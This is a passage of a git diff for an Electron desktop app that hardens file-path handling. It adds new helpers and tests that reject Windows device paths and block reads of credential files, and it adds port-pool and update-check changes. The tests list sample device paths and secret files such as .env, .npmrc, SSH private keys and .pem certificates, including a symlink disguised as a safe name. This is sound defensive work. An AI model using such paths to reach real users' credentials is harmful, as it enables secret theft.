+ assert.ok(peak > 1, `expected concurrent stats, observed peak ${peak}`)
+ assert.ok(peak <= 16, `expected at most 16 concurrent stats, observed peak ${peak}`)
+ assert.deepEqual(
+ result.entries.map(entry => entry.name),
+ expectedNames
+ )
+ assert.equal(result.entries.find(entry => entry.name === failedName)?.isDirectory, false)
+ assert.equal(
+ result.entries.filter(entry => entry.isDirectory).length,
+ successfulDirectoryNames.size
+ )
+})
diff --git a/apps/desktop/electron/git-root.cjs b/apps/desktop/electron/git-root.cjs
new file mode 100644
index 000000000000..593d3531ebce
--- /dev/null
+++ b/apps/desktop/electron/git-root.cjs
@@ -0,0 +1,54 @@
+'use strict'
+
+const fs = require('node:fs')
+const path = require('node:path')
+const { resolveRequestedPathForIpc } = require('./hardening.cjs')
+
+function findGitRoot(start, fsImpl = fs) {
+ let dir = start
+
+ for (let i = 0; i < 50; i += 1) {
+ try {
+ if (fsImpl.existsSync(path.join(dir, '.git'))) {
+ return dir
+ }
+ } catch {
+ return null
+ }
+
+ const parent = path.dirname(dir)
+
+ if (parent === dir) {
+ return null
+ }
+
+ dir = parent
+ }
+
+ return null
+}
+
+async function gitRootForIpc(startPath, options = {}) {
+ const fsImpl = options.fs || fs
+ let resolved
+
+ try {
+ resolved = resolveRequestedPathForIpc(startPath, { purpose: 'Git root' })
+ } catch {
+ return null
+ }
+
+ try {
+ const stat = await fsImpl.promises.stat(resolved)
+ const start = stat.isDirectory() ? resolved : path.dirname(resolved)
+
+ return findGitRoot(start, fsImpl)
+ } catch {
+ return findGitRoot(resolved, fsImpl)
+ }
+}
+
+module.exports = {
+ findGitRoot,
+ gitRootForIpc
+}
diff --git a/apps/desktop/electron/git-root.test.cjs b/apps/desktop/electron/git-root.test.cjs
new file mode 100644
index 000000000000..ba649b259f3c
--- /dev/null
+++ b/apps/desktop/electron/git-root.test.cjs
@@ -0,0 +1,40 @@
+'use strict'
+
+const assert = require('node:assert/strict')
+const fs = require('node:fs')
+const os = require('node:os')
+const path = require('node:path')
+const test = require('node:test')
+const { pathToFileURL } = require('node:url')
+
+const { gitRootForIpc } = require('./git-root.cjs')
+
+function mkTmpDir() {
+ return fs.mkdtempSync(path.join(os.tmpdir(), 'hermes-git-root-'))
+}
+
+test('gitRootForIpc returns null for invalid and device paths', async () => {
+ assert.equal(await gitRootForIpc(''), null)
+ assert.equal(await gitRootForIpc(' '), null)
+ assert.equal(await gitRootForIpc(null), null)
+ assert.equal(await gitRootForIpc('\\\\?\\C:\\secret'), null)
+ assert.equal(await gitRootForIpc('file:///%E0%A4%A'), null)
+})
+
+test('gitRootForIpc resolves directories files missing descendants and file URLs', async t => {
+ const root = mkTmpDir()
+ t.after(() => fs.rmSync(root, { recursive: true, force: true }))
+
+ const gitDir = path.join(root, '.git')
+ const srcDir = path.join(root, 'src')
+ const filePath = path.join(srcDir, 'index.ts')
+ fs.mkdirSync(gitDir)
+ fs.mkdirSync(srcDir)
+ fs.writeFileSync(filePath, 'export {}\n', 'utf8')
+
+ assert.equal(await gitRootForIpc(root), root)
+ assert.equal(await gitRootForIpc(srcDir), root)
+ assert.equal(await gitRootForIpc(filePath), root)
+ assert.equal(await gitRootForIpc(pathToFileURL(filePath).toString()), root)
+ assert.equal(await gitRootForIpc(path.join(srcDir, 'missing.ts')), root)
+})
diff --git a/apps/desktop/electron/hardening.cjs b/apps/desktop/electron/hardening.cjs
index 4ffdea051b51..812dc3f77c7c 100644
--- a/apps/desktop/electron/hardening.cjs
+++ b/apps/desktop/electron/hardening.cjs
@@ -106,71 +106,155 @@ function sensitiveFileBlockReason(filePath) {
return null
}
-function resolveRequestedFilePath(filePath, baseDir = process.cwd(), purpose = 'File read') {
- const raw = String(filePath || '').trim()
+function ipcPathError(code, message) {
+ const error = new Error(message)
+ error.code = code
+ return error
+}
+
+function rejectUnsafePathSyntax(filePath, purpose = 'File read') {
+ if (typeof filePath !== 'string') {
+ throw ipcPathError('invalid-path', `${purpose} failed: file path is required.`)
+ }
+
+ const raw = filePath.trim()
if (!raw) {
- throw new Error(`${purpose} failed: file path is required.`)
+ throw ipcPathError('invalid-path', `${purpose} failed: file path is required.`)
}
if (raw.includes('\0')) {
- throw new Error(`${purpose} failed: file path is invalid.`)
+ throw ipcPathError('invalid-path', `${purpose} failed: file path is invalid.`)
}
- if (/^file:/i.test(raw)) {
- try {
- return fileURLToPath(raw)
- } catch {
- throw new Error(`${purpose} failed: file URL is invalid.`)
- }
+ const normalized = raw.replace(/\\/g, '/').toLowerCase()
+ if (
+ normalized.startsWith('//?/') ||
+ normalized.startsWith('//./') ||
+ normalized.startsWith('globalroot/device/') ||
+ normalized.includes('/globalroot/device/')
+ ) {
+ throw ipcPathError('device-path', `${purpose} blocked: Windows device paths are not allowed.`)
}
- const resolvedBase = path.resolve(String(baseDir || process.cwd()))
- return path.resolve(resolvedBase, raw)
+ return raw
}
-async function resolveReadableFileForIpc(filePath, options = {}) {
+function resolveRequestedPathForIpc(filePath, options = {}) {
const purpose = String(options.purpose || 'File read')
- const resolvedPath = resolveRequestedFilePath(filePath, options.baseDir, purpose)
+ const raw = rejectUnsafePathSyntax(filePath, purpose)
- if (options.blockSensitive !== false) {
- const blockReason = sensitiveFileBlockReason(resolvedPath)
- if (blockReason) {
- throw new Error(`${purpose} blocked for sensitive file: ${blockReason}`)
+ if (/^file:/i.test(raw)) {
+ let resolvedPath
+ try {
+ const parsed = new URL(raw)
+ if (parsed.protocol !== 'file:') {
+ throw new Error('not a file URL')
+ }
+ resolvedPath = fileURLToPath(parsed)
+ } catch {
+ throw ipcPathError('invalid-path', `${purpose} failed: file URL is invalid.`)
}
+
+ rejectUnsafePathSyntax(resolvedPath, purpose)
+ return path.resolve(resolvedPath)
}
- let stat
+ const baseInput = typeof options.baseDir === 'string' && options.baseDir.trim() ? options.baseDir : process.cwd()
+ const safeBaseInput = rejectUnsafePathSyntax(baseInput, purpose)
+ const resolvedBase = path.resolve(safeBaseInput)
+ rejectUnsafePathSyntax(resolvedBase, purpose)
+ const resolvedPath = path.resolve(resolvedBase, raw)
+ rejectUnsafePathSyntax(resolvedPath, purpose)
+
+ return resolvedPath
+}
+
+async function statForIpc(fsImpl, resolvedPath, purpose, typeLabel) {
try {
- stat = await fs.promises.stat(resolvedPath)
+ return await fsImpl.promises.stat(resolvedPath)
} catch (error) {
const code = error && typeof error === 'object' ? error.code : ''
if (code === 'ENOENT' || code === 'ENOTDIR') {
- throw new Error(`${purpose} failed: file does not exist.`)
+ throw ipcPathError(code || 'ENOENT', `${purpose} failed: ${typeLabel} does not exist.`)
}
- throw new Error(`${purpose} failed: ${error instanceof Error ? error.message : String(error)}`)
+ throw ipcPathError(code || 'read-error', `${purpose} failed: ${error instanceof Error ? error.message : String(error)}`)
}
+}
+
+async function realpathForIpc(fsImpl, resolvedPath, purpose) {
+ if (typeof fsImpl.promises.realpath !== 'function') {
+ return resolvedPath
+ }
+
+ try {
+ const realPath = await fsImpl.promises.realpath(resolvedPath)
+ rejectUnsafePathSyntax(realPath, purpose)
+ return realPath
+ } catch (error) {
+ const code = error && typeof error === 'object' ? error.code : ''
+ throw ipcPathError(code || 'read-error', `${purpose} failed: ${error instanceof Error ? error.message : String(error)}`)
+ }
+}
+
+function rejectSensitiveFilePath(filePath, purpose) {
+ const blockReason = sensitiveFileBlockReason(filePath)
+ if (blockReason) {
+ throw ipcPathError('sensitive-file', `${purpose} blocked for sensitive file: ${blockReason}`)
+ }
+}
+
+async function resolveDirectoryForIpc(dirPath, options = {}) {
+ const purpose = String(options.purpose || 'Directory read')
+ const fsImpl = options.fs || fs
+ const resolvedPath = resolveRequestedPathForIpc(dirPath, { baseDir: options.baseDir, purpose })
+ const stat = await statForIpc(fsImpl, resolvedPath, purpose, 'directory')
+
+ if (!stat.isDirectory()) {
+ throw ipcPathError('ENOTDIR', `${purpose} failed: path is not a directory.`)
+ }
+
+ const realPath = await realpathForIpc(fsImpl, resolvedPath, purpose)
+
+ return { realPath, resolvedPath, stat }
+}
+
+async function resolveReadableFileForIpc(filePath, options = {}) {
+ const purpose = String(options.purpose || 'File read')
+ const fsImpl = options.fs || fs
+ const resolvedPath = resolveRequestedPathForIpc(filePath, { baseDir: options.baseDir, purpose })
+
+ if (options.blockSensitive !== false) {
+ rejectSensitiveFilePath(resolvedPath, purpose)
+ }
+
+ const stat = await statForIpc(fsImpl, resolvedPath, purpose, 'file')
if (stat.isDirectory()) {
- throw new Error(`${purpose} failed: path points to a directory.`)
+ throw ipcPathError('EISDIR', `${purpose} failed: path points to a directory.`)
}
if (!stat.isFile()) {
- throw new Error(`${purpose} failed: only regular files can be read.`)
+ throw ipcPathError('EINVAL', `${purpose} failed: only regular files can be read.`)
+ }
+
+ const realPath = await realpathForIpc(fsImpl, resolvedPath, purpose)
+ if (options.blockSensitive !== false) {
+ rejectSensitiveFilePath(realPath, purpose)
}
const maxBytes = Number.isFinite(options.maxBytes) && Number(options.maxBytes) > 0 ? Number(options.maxBytes) : null
if (maxBytes && stat.size > maxBytes) {
- throw new Error(`${purpose} failed: file is too large (${stat.size} bytes; limit ${maxBytes} bytes).`)
+ throw ipcPathError('EFBIG', `${purpose} failed: file is too large (${stat.size} bytes; limit ${maxBytes} bytes).`)
}
try {
- await fs.promises.access(resolvedPath, fs.constants.R_OK)
+ await fsImpl.promises.access(resolvedPath, fs.constants.R_OK)
} catch {
- throw new Error(`${purpose} failed: file is not readable.`)
+ throw ipcPathError('EACCES', `${purpose} failed: file is not readable.`)
}
- return { resolvedPath, stat }
+ return { realPath, resolvedPath, stat }
}
module.exports = {
@@ -178,7 +262,10 @@ module.exports = {
DEFAULT_FETCH_TIMEOUT_MS,
TEXT_PREVIEW_SOURCE_MAX_BYTES,
encryptDesktopSecret,
+ rejectUnsafePathSyntax,
+ resolveDirectoryForIpc,
resolveReadableFileForIpc,
+ resolveRequestedPathForIpc,
resolveTimeoutMs,
sensitiveFileBlockReason
}
diff --git a/apps/desktop/electron/hardening.test.cjs b/apps/desktop/electron/hardening.test.cjs
index 865da8fe797e..a52ee27c830a 100644
--- a/apps/desktop/electron/hardening.test.cjs
+++ b/apps/desktop/electron/hardening.test.cjs
@@ -8,11 +8,20 @@ const { pathToFileURL } = require('node:url')
const {
DEFAULT_FETCH_TIMEOUT_MS,
encryptDesktopSecret,
+ resolveDirectoryForIpc,
resolveReadableFileForIpc,
+ resolveRequestedPathForIpc,
resolveTimeoutMs,
sensitiveFileBlockReason
} = require('./hardening.cjs')
+async function rejectsWithCode(promise, code) {
+ await assert.rejects(promise, error => {
+ assert.equal(error?.code, code)
+ return true
+ })
+}
+
test('resolveTimeoutMs falls back to defaults and accepts overrides', () => {
assert.equal(resolveTimeoutMs(undefined), DEFAULT_FETCH_TIMEOUT_MS)
assert.equal(resolveTimeoutMs(0), DEFAULT_FETCH_TIMEOUT_MS)
@@ -51,6 +60,52 @@ test('sensitiveFileBlockReason blocks obvious secret file patterns', () => {
assert.match(String(sensitiveFileBlockReason('/tmp/server-cert.pem')), /\.pem/)
})
+test('path helpers reject blank non-string NUL and Windows device syntax', async () => {
+ await rejectsWithCode(resolveReadableFileForIpc('', { purpose: 'File preview' }), 'invalid-path')
+ await rejectsWithCode(resolveReadableFileForIpc(' ', { purpose: 'File preview' }), 'invalid-path')
+ await rejectsWithCode(resolveReadableFileForIpc(null, { purpose: 'File preview' }), 'invalid-path')
+ await rejectsWithCode(resolveReadableFileForIpc(`safe${String.fromCharCode(0)}name.txt`), 'invalid-path')
+
+ const devicePaths = [
+ '\\\\?\\C:\\secret.txt',
+ '\\\\.\\C:\\secret.txt',
+ '\\\\?\\UNC\\server\\share\\secret.txt',
+ 'GLOBALROOT/Device/HarddiskVolumeShadowCopy1/secret.txt'
+ ]
+
+ for (const devicePath of devicePaths) {
+ assert.throws(
+ () => resolveRequestedPathForIpc(devicePath, { purpose: 'File preview' }),
+ error => {
+ assert.equal(error?.code, 'device-path')
+ return true
+ }
+ )
+ await rejectsWithCode(resolveReadableFileForIpc(devicePath, { purpose: 'File preview' }), 'device-path')
+ }
+
+ assert.throws(
+ () => resolveRequestedPathForIpc('file:///%E0%A4%A', { purpose: 'File preview' }),
+ error => {
+ assert.equal(error?.code, 'invalid-path')
+ return true
+ }
+ )
+ await rejectsWithCode(resolveReadableFileForIpc('file:///%E0%A4%A', { purpose: 'File preview' }), 'invalid-path')
+})
+
+test('resolveRequestedPathForIpc resolves relative paths from the trimmed base directory', () => {
+ const baseDir = path.join(os.tmpdir(), 'hermes-desktop-base')
+
+ assert.equal(
+ resolveRequestedPathForIpc('notes.txt', {
+ baseDir: ` ${baseDir} `,
+ purpose: 'File preview'
+ }),
+ path.resolve(baseDir, 'notes.txt')
+ )
+})
+
test('resolveReadableFileForIpc validates existence type size and sensitivity', async t => {
const tempDir = fs.mkdtempSync(path.join(os.tmpdir(), 'hermes-desktop-hardening-'))
t.after(() => fs.rmSync(tempDir, { recursive: true, force: true }))
@@ -71,6 +126,13 @@ test('resolveReadableFileForIpc validates existence type size and sensitivity',
})
assert.equal(fromFileUrl.resolvedPath, textPath)
+ const spacedPath = path.join(tempDir, 'notes with spaces.txt')
+ fs.writeFileSync(spacedPath, 'space ok', 'utf8')
+ const fromSpacedFileUrl = await resolveReadableFileForIpc(pathToFileURL(spacedPath).toString(), {
+ purpose: 'File preview'
+ })
+ assert.equal(fromSpacedFileUrl.resolvedPath, spacedPath)
+
await assert.rejects(
resolveReadableFileForIpc('missing.txt', {
baseDir: tempDir,
@@ -114,3 +176,91 @@ test('resolveReadableFileForIpc validates existence type size and sensitivity',
})
assert.equal(envTemplate.resolvedPath, envTemplatePath)
})
+
+test('resolveReadableFileForIpc blocks common sensitive files', async t => {
+ const tempDir = fs.mkdtempSync(path.join(os.tmpdir(), 'hermes-desktop-sensitive-'))
+ t.after(() => fs.rmSync(tempDir, { recursive: true, force: true }))
+
+ const sshDir = path.join(tempDir, '.ssh')
+ fs.mkdirSync(sshDir)
+
+ const blockedFiles = [
+ path.join(tempDir, '.env'),
+ path.join(tempDir, '.npmrc'),
+ path.join(sshDir, 'id_ed25519'),
+ path.join(tempDir, 'cert.pem'),
+ path.join(tempDir, 'cert.p12'),
+ path.join(tempDir, 'cert.pfx')
+ ]
+
+ for (const filePath of blockedFiles) {
+ fs.writeFileSync(filePath, 'secret', 'utf8')
+ await rejectsWithCode(resolveReadableFileForIpc(filePath, { purpose: 'File preview' }), 'sensitive-file')
+ }
+
+ const allowed = path.join(tempDir, '.env.example')
+ fs.writeFileSync(allowed, 'EXAMPLE_TOKEN=value', 'utf8')
+ assert.equal((await resolveReadableFileForIpc(allowed, { purpose: 'File preview' })).resolvedPath, allowed)
+})
+
+test('resolveReadableFileForIpc blocks symlinks whose realpath is sensitive', async t => {
+ const tempDir = fs.mkdtempSync(path.join(os.tmpdir(), 'hermes-desktop-realpath-'))
+ t.after(() => fs.rmSync(tempDir, { recursive: true, force: true }))
+
+ const envPath = path.join(tempDir, '.env')
+ const linkPath = path.join(tempDir, 'safe-name.txt')
+ fs.writeFileSync(envPath, 'SECRET_TOKEN=123', 'utf8')
+
+ try {
+ fs.symlinkSync(envPath, linkPath, 'file')
+ } catch (error) {
+ if (error?.code === 'EPERM' || error?.code === 'EACCES') {
+ t.skip(`symlink creation is not permitted on this platform (${error.code})`)
+ return
+ }
+ throw error
+ }
+
+ await rejectsWithCode(resolveReadableFileForIpc(linkPath, { purpose: 'File preview' }), 'sensitive-file')
+})
+
+test('resolveDirectoryForIpc accepts directories and rejects invalid directory targets', async t => {
+ const tempDir = fs.mkdtempSync(path.join(os.tmpdir(), 'hermes-desktop-dir-'))
+ t.after(() => fs.rmSync(tempDir, { recursive: true, force: true }))
+
+ const directory = path.join(tempDir, 'project')
+ const filePath = path.join(tempDir, 'file.txt')
+ fs.mkdirSync(directory)
+ fs.writeFileSync(filePath, 'not a directory', 'utf8')
+
+ const resolved = await resolveDirectoryForIpc(directory)
+ assert.equal(resolved.resolvedPath, directory)
+ assert.equal(resolved.stat.isDirectory(), true)
+
+ await rejectsWithCode(resolveDirectoryForIpc(filePath), 'ENOTDIR')
+ await rejectsWithCode(resolveDirectoryForIpc(path.join(tempDir, 'missing')), 'ENOENT')
+ await rejectsWithCode(resolveDirectoryForIpc('\\\\?\\C:\\secret'), 'device-path')
+})
+
+test('resolveDirectoryForIpc accepts directory symlinks or junctions', async t => {
+ const tempDir = fs.mkdtempSync(path.join(os.tmpdir(), 'hermes-desktop-dir-link-'))
+ t.after(() => fs.rmSync(tempDir, { recursive: true, force: true }))
+
+ const directory = path.join(tempDir, 'actual-project')
+ const linkPath = path.join(tempDir, 'linked-project')
+ fs.mkdirSync(directory)
+
+ try {
+ fs.symlinkSync(directory, linkPath, process.platform === 'win32' ? 'junction' : 'dir')
+ } catch (error) {
+ if (error?.code === 'EPERM' || error?.code === 'EACCES') {
+ t.skip(`directory symlink creation is not permitted on this platform (${error.code})`)
+ return
+ }
+ throw error
+ }
+
+ const resolved = await resolveDirectoryForIpc(linkPath)
+ assert.equal(resolved.resolvedPath, linkPath)
+ assert.equal(resolved.stat.isDirectory(), true)
+})
diff --git a/apps/desktop/electron/main.cjs b/apps/desktop/electron/main.cjs
index 333e2b136a60..2dd0a68d0d2d 100644
--- a/apps/desktop/electron/main.cjs
+++ b/apps/desktop/electron/main.cjs
@@ -22,13 +22,24 @@ const http = require('node:http')
const https = require('node:https')
const net = require('node:net')
const path = require('node:path')
-const { fileURLToPath, pathToFileURL } = require('node:url')
+const { pathToFileURL } = require('node:url')
const { execFileSync, spawn } = require('node:child_process')
const { detectRemoteDisplay, isWindowsBinaryPathInWsl, isWslEnvironment } = require('./bootstrap-platform.cjs')
const { runBootstrap } = require('./bootstrap-runner.cjs')
+const { buildSessionWindowUrl, createSessionWindowRegistry } = require('./session-windows.cjs')
const { canImportHermesCli, verifyHermesCli } = require('./backend-probes.cjs')
const { probeGatewayWebSocket } = require('./gateway-ws-probe.cjs')
+const { adoptServedDashboardToken } = require('./dashboard-token.cjs')
+const { PortPool } = require('./port-pool.cjs')
const { serializeJsonBody, setJsonRequestHeaders } = require('./oauth-net-request.cjs')
+const { fetchMarketplaceThemes, searchMarketplaceThemes } = require('./vscode-marketplace.cjs')
+const { buildDesktopBackendEnv } = require('./backend-env.cjs')
+const { readDirForIpc } = require('./fs-read-dir.cjs')
+const { gitRootForIpc } = require('./git-root.cjs')
+const {
+ OFFICIAL_REPO_HTTPS_URL,
+ isOfficialSshRemote
+} = require('./update-remote.cjs')
const {
buildPosixCleanupScript,
buildWindowsCleanupScript,
@@ -38,6 +49,7 @@ const {
shouldRemoveAppBundle,
uninstallArgsForMode
} = require('./desktop-uninstall.cjs')
+const { isPackagedInstallPath: isPackagedInstallPathUnderRoots } = require('./workspace-cwd.cjs')
const {
authModeFromStatus,
buildGatewayWsUrl,
@@ -58,13 +70,16 @@ const {
TEXT_PREVIEW_SOURCE_MAX_BYTES,
encryptDesktopSecret: encryptDesktopSecretStrict,
resolveReadableFileForIpc,
+ resolveRequestedPathForIpc,
resolveTimeoutMs
} = require('./hardening.cjs')
let nodePty = null
+let nodePtyDir = null
try {
nodePty = require('node-pty')
+ nodePtyDir = path.dirname(require.resolve('node-pty/package.json'))
} catch {
// Packaged builds set `files:` in package.json, which excludes node_modules
// from the asar. Workspace dedup also hoists this native dep to the repo
@@ -77,10 +92,13 @@ try {
const path = require('node:path')
const resourcesPath = process.resourcesPath
if (resourcesPath) {
- nodePty = require(path.join(resourcesPath, 'native-deps', 'node-pty'))
+ nodePtyDir = path.join(resourcesPath, 'native-deps', 'node-pty')
+ nodePty = require(nodePtyDir)
}
} catch {
+ console.log(`[terminal] failed to load node-pty from path ${nodePtyDir}`)
nodePty = null
+ nodePtyDir = null
}
}
@@ -93,6 +111,10 @@ if (USER_DATA_OVERRIDE) {
const PORT_FLOOR = 9120
const PORT_CEILING = 9199
+// In-process port reservations that close the pickPort() TOCTOU window where
+// two concurrent backend spawns could be handed the same port. See
+// port-pool.cjs for the full rationale.
+const portPool = new PortPool(PORT_FLOOR, PORT_CEILING)
const DEV_SERVER = process.env.HERMES_DESKTOP_DEV_SERVER
const IS_PACKAGED = app.isPackaged
const IS_MAC = process.platform === 'darwin'
@@ -100,6 +122,13 @@ const IS_WINDOWS = process.platform === 'win32'
const IS_WSL = isWslEnvironment()
const APP_ROOT = app.getAppPath()
+function hiddenWindowsChildOptions(options = {}) {
+ if (!IS_WINDOWS || Object.prototype.hasOwnProperty.call(options, 'windowsHide')) {
+ return options
+ }
+ return { ...options, windowsHide: true }
+}
+
// Remote displays (SSH X11 forwarding, VNC, RDP) make Chromium's GPU
// compositor flicker — accelerated layers can't be presented cleanly over the
// wire, so the window flashes during scroll/streaming/animation. Local
@@ -712,7 +741,7 @@ function openExternalUrl(rawUrl) {
if (parsed.protocol === 'file:') {
let localPath
try {
- localPath = fileURLToPath(parsed.toString())
+ localPath = resolveRequestedPathForIpc(parsed.toString(), { purpose: 'Open external file' })
} catch {
return false
}
@@ -1099,7 +1128,7 @@ function findSystemPython() {
const out = execFileSync(
'reg',
['query', `${hive}\\SOFTWARE\\Python\\PythonCore\\${version}\\InstallPath`, '/ve', '/reg:64'],
- { encoding: 'utf8', stdio: ['ignore', 'pipe', 'ignore'] }
+ hiddenWindowsChildOptions({ encoding: 'utf8', stdio: ['ignore', 'pipe', 'ignore'] })
)
// Output format: " (Default) REG_SZ C:\Path\To\Python\"
const match = out.match(/REG_SZ\s+(.+?)\s*$/m)
@@ -1135,10 +1164,10 @@ function findSystemPython() {
if (pyExe) {
for (const version of SUPPORTED_VERSIONS) {
try {
- const out = execFileSync(pyExe, [`-${version}`, '-c', 'import sys; print(sys.executable)'], {
+ const out = execFileSync(pyExe, [`-${version}`, '-c', 'import sys; print(sys.executable)'], hiddenWindowsChildOptions({
encoding: 'utf8',
stdio: ['ignore', 'pipe', 'ignore']
- })
+ }))
const candidate = out.trim()
if (candidate && fileExists(candidate)) return candidate
} catch {
@@ -1273,11 +1302,11 @@ function resolveUpdateRoot() {
function runGit(args, options = {}) {
return new Promise((resolve, reject) => {
- const child = spawn(resolveGitBinary(), IS_WINDOWS ? ['-c', 'windows.appendAtomically=false', ...args] : args, {
+ const child = spawn(resolveGitBinary(), IS_WINDOWS ? ['-c', 'windows.appendAtomically=false', ...args] : args, hiddenWindowsChildOptions({
cwd: options.cwd,
env: { ...process.env, ...(options.env || {}), GIT_TERMINAL_PROMPT: '0' },
stdio: ['ignore', 'pipe', 'pipe']
- })
+ }))
let stdout = ''
let stderr = ''
@@ -1298,6 +1327,11 @@ function runGit(args, options = {}) {
const firstLine = text => (text || '').split('\n').find(Boolean) || ''
+async function getOriginUrl(updateRoot) {
+ const origin = await runGit(['remote', 'get-url', 'origin'], { cwd: updateRoot })
+ return origin.code === 0 ? origin.stdout.trim() : ''
+}
+
function emitUpdateProgress(payload) {
const merged = { stage: 'idle', message: '', percent: null, error: null, ...payload, at: Date.now() }
rememberLog(`[updates] ${merged.stage}: ${merged.message || merged.error || ''}`)
@@ -1317,7 +1351,9 @@ async function resolveHealedBranch(updateRoot, branch) {
return branch || 'main'
}
- const probe = await runGit(['ls-remote', '--exit-code', '--heads', 'origin', branch], { cwd: updateRoot })
+ const originUrl = await getOriginUrl(updateRoot)
+ const remote = isOfficialSshRemote(originUrl) ? OFFICIAL_REPO_HTTPS_URL : 'origin'
+ const probe = await runGit(['ls-remote', '--exit-code', '--heads', remote, branch], { cwd: updateRoot })
if (probe.code !== 2) {
return branch
}
@@ -1345,6 +1381,40 @@ async function checkUpdates() {
}
branch = await resolveHealedBranch(updateRoot, branch)
+ const originUrl = await getOriginUrl(updateRoot)
+ if (isOfficialSshRemote(originUrl)) {
+ const git = args => runGit(args, { cwd: updateRoot }).then(r => r.stdout.trim())
+ const [currentSha, target, dirtyStr, currentBranch] = await Promise.all([
+ git(['rev-parse', 'HEAD']),
+ runGit(['ls-remote', OFFICIAL_REPO_HTTPS_URL, `refs/heads/${branch}`], { cwd: updateRoot }),
+ git(['status', '--porcelain']),
+ git(['rev-parse', '--abbrev-ref', 'HEAD'])
+ ])
+ const targetSha = firstLine(target.stdout).split(/\s+/)[0] || ''
+ if (target.code !== 0 || !targetSha) {
+ return {
+ supported: true,
+ branch,
+ error: 'fetch-failed',
+ message: firstLine(target.stderr) || 'git ls-remote failed.',
+ hermesRoot: updateRoot,
+ fetchedAt: Date.now()
+ }
+ }
+ return {
+ supported: true,
+ branch,
+ currentBranch,
+ behind: currentSha && currentSha === targetSha ? 0 : 1,
+ currentSha,
+ targetSha,
+ commits: [],
+ dirty: dirtyStr.length > 0,
+ hermesRoot: updateRoot,
+ fetchedAt: Date.now()
+ }
+ }
+
const fetched = await runGit(['fetch', '--quiet', 'origin', branch], { cwd: updateRoot })
if (fetched.code !== 0) {
return {
@@ -1487,7 +1557,7 @@ function forceKillProcessTree(pid) {
if (!IS_WINDOWS) return
if (!Number.isInteger(pid) || pid <= 0) return
try {
- execFileSync('taskkill', ['/PID', String(pid), '/T', '/F'], { stdio: 'ignore' })
+ execFileSync('taskkill', ['/PID', String(pid), '/T', '/F'], hiddenWindowsChildOptions({ stdio: 'ignore' }))
} catch {
// Already gone, or no permission — best effort; the unlock wait below is
// the real gate.
@@ -1673,11 +1743,11 @@ function runStreamedUpdate(command, args, { cwd, env, stage } = {}) {
return new Promise(resolve => {
let child
try {
- child = spawn(command, args, {
+ child = spawn(command, args, hiddenWindowsChildOptions({
cwd,
env: { ...process.env, ...(env || {}) },
stdio: ['ignore', 'pipe', 'pipe']
- })
+ }))
} catch (err) {
resolve({ code: 1, error: err.message })
return
@@ -1948,6 +2018,21 @@ function resolveRendererIndex() {
return candidates[0]
}
+// True when `dir` lives inside the packaged app bundle / install tree.
+// Packaged Electron's process.cwd() (and npm's INIT_CWD when dev tooling
+// leaked into a release build) often resolve here — e.g. win-unpacked on
+// Windows — which is exactly where PR #37536 item 16 said we must NOT run.
+function isPackagedInstallPath(dir) {
+ return isPackagedInstallPathUnderRoots(dir, {
+ isPackaged: IS_PACKAGED,
+ installRoots: [
+ APP_ROOT,
+ path.dirname(process.execPath),
+ resolveRemovableAppPath(process.execPath, process.platform, process.env)
+ ]
+ })
+}
+
function resolveHermesCwd() {
// In a packaged build, `process.cwd()` resolves to the install root (e.g.
// `…/win-unpacked` on Windows or `/Applications/Hermes.app/Contents/...`
@@ -1959,7 +2044,7 @@ function resolveHermesCwd() {
const candidates = [
readDefaultProjectDir(),
process.env.HERMES_DESKTOP_CWD,
- process.env.INIT_CWD,
+ IS_PACKAGED ? null : process.env.INIT_CWD,
IS_PACKAGED ? null : process.cwd(),
!IS_PACKAGED ? SOURCE_REPO_ROOT : null,
app.getPath('home')
@@ -1968,12 +2053,37 @@ function resolveHermesCwd() {
for (const candidate of candidates) {
if (!candidate) continue
const resolved = path.resolve(String(candidate))
+
+ if (isPackagedInstallPath(resolved)) {
+ continue
+ }
+
if (directoryExists(resolved)) return resolved
}
return app.getPath('home')
}
+function sanitizeWorkspaceCwd(cwd) {
+ const trimmed = typeof cwd === 'string' ? cwd.trim() : ''
+
+ if (!trimmed || isPackagedInstallPath(trimmed)) {
+ return { cwd: resolveHermesCwd(), sanitized: Boolean(trimmed) }
+ }
+
+ try {
+ const resolved = path.resolve(trimmed)
+
+ if (directoryExists(resolved)) {
+ return { cwd: resolved, sanitized: false }
+ }
+ } catch {
+ // Fall through to the resolved default.
+ }
+
+ return { cwd: resolveHermesCwd(), sanitized: Boolean(trimmed) }
+}
+
// Persisted "Default project directory" — surfaced as a setting in the
// renderer (see app/settings/sessions-settings.tsx). Stored as JSON in
// userData so it survives self-updates without bleeding into the new
@@ -2025,9 +2135,11 @@ function createPythonBackend(root, label, dashboardArgs, options = {}) {
label,
command: python,
args: ['-m', 'hermes_cli.main', ...dashboardArgs],
- env: {
- PYTHONPATH: [root, process.env.PYTHONPATH].filter(Boolean).join(path.delimiter)
- },
+ env: buildDesktopBackendEnv({
+ hermesHome: HERMES_HOME,
+ pythonPathEntries: [root],
+ venvRoot: path.join(root, 'venv')
+ }),
root,
bootstrap: Boolean(options.bootstrap),
shell: false
@@ -2046,9 +2158,11 @@ function createActiveBackend(dashboardArgs) {
label: `Hermes at ${ACTIVE_HERMES_ROOT}`,
command: fileExists(venvPython) ? venvPython : findSystemPython(),
args: ['-m', 'hermes_cli.main', ...dashboardArgs],
- env: {
- PYTHONPATH: [ACTIVE_HERMES_ROOT, process.env.PYTHONPATH].filter(Boolean).join(path.delimiter)
- },
+ env: buildDesktopBackendEnv({
+ hermesHome: HERMES_HOME,
+ pythonPathEntries: [ACTIVE_HERMES_ROOT],
+ venvRoot: VENV_ROOT
+ }),
root: ACTIVE_HERMES_ROOT,
bootstrap: true,
shell: false
@@ -2350,10 +2464,11 @@ function isPortAvailable(port) {
}
async function pickPort() {
- for (let port = PORT_FLOOR; port <= PORT_CEILING; port += 1) {
- if (await isPortAvailable(port)) return port
+ const port = await portPool.reserve(isPortAvailable)
+ if (port === null) {
+ throw new Error(`No free localhost port in ${PORT_FLOOR}-${PORT_CEILING}`)
}
- throw new Error(`No free localhost port in ${PORT_FLOOR}-${PORT_CEILING}`)
+ return port
}
function fetchJson(url, token, options = {}) {
@@ -2624,7 +2739,7 @@ function fetchHtmlTitleWithCurl(rawUrl) {
'--raw',
url
]
- const child = spawn('curl', args, { stdio: ['ignore', 'pipe', 'ignore'] })
+ const child = spawn('curl', args, hiddenWindowsChildOptions({ stdio: ['ignore', 'pipe', 'ignore'] }))
const chunks = []
let bytes = 0
@@ -2779,10 +2894,10 @@ async function resourceBufferFromUrl(rawUrl) {
